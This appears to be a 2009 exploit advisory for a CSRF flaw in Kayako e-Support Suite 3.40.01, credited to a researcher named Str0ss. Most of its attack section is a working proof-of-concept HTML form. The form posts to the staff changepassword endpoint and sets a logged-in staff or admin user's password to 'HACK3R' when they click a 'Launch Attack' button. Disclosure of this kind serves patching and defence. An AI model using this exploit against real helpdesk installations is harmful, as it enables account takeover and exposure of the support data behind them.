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Kayako e-Support Suit CSRF - password change vulnerability E-mail
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Written by str0ss   
Monday, 01 June 2009 14:08

Kayako e-Support Suit CSRF - password change vulnerability

Software: Kayako Support Suit

Version : Latest version [3.40.01] - not tested with older versions

http://www.kayako.com/solutions/supportsuite

Vulnerability Type: CSRF - User [Staff /Admin] Password Change

Vulnerability Discovered by: Str0ss

mail.str0ss[_aT]gmail[_dOt]com

Ref : http://maestro-sec.com/forum/viewtopic.php?f=9&t=2006


About the software

-------------------

Kayako e-Support incorporates Kayako's leading ticket and e-mail management support desk software, including knowledgebase,

troubleshooter, news and downloads publishing tools. Offering end-users a variety of self help resources,

such as guided troubleshooters and a searchable knowledgebase.

This software is used by many Leading Companies.

Exploit code

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- For exploitation User[staff / Admin] should be logged in as staff to the eSupport suit.

- User should click 'Launch Attack' button

- After successful exploitation the victims password will be 'HACK3R'

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<html>

<body>

<form name="staffform" id="staffform" action="http[s]://<TARGET>/staff/index.php?_m=core&_a=changepassword" method="POST">

<input type="hidden" name="password" id="password" value="HACK3R" size="20" />

<input type="hidden" name="passwordconfirm" id="passwordconfirm" value="HACK3R" size="20" />

<input type="submit" name="submitbutton" value="Launch Attack" />

<br> ** User [staff] must be logged in

 

<input type="hidden" name="_m" value="core"/>

<input type="hidden" name="_a" value="changepassword"/>

<input type="hidden" name="step" value="1"/>

</form>

</body>

</html>

 

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